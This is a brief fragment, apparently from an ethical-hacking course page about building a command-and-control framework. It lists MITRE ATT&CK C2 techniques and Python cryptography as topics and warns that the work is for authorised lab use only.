- MITRE ATT&CK C2 Techniques
Python Cryptography
This project is part of the Ethical Hacking & Penetration Testing learning path.
WARNING: Only use this knowledge in authorized testing environments. Building and using C2 frameworks against systems you donโt own is illegal. This project is for educational purposes in controlled lab environments only.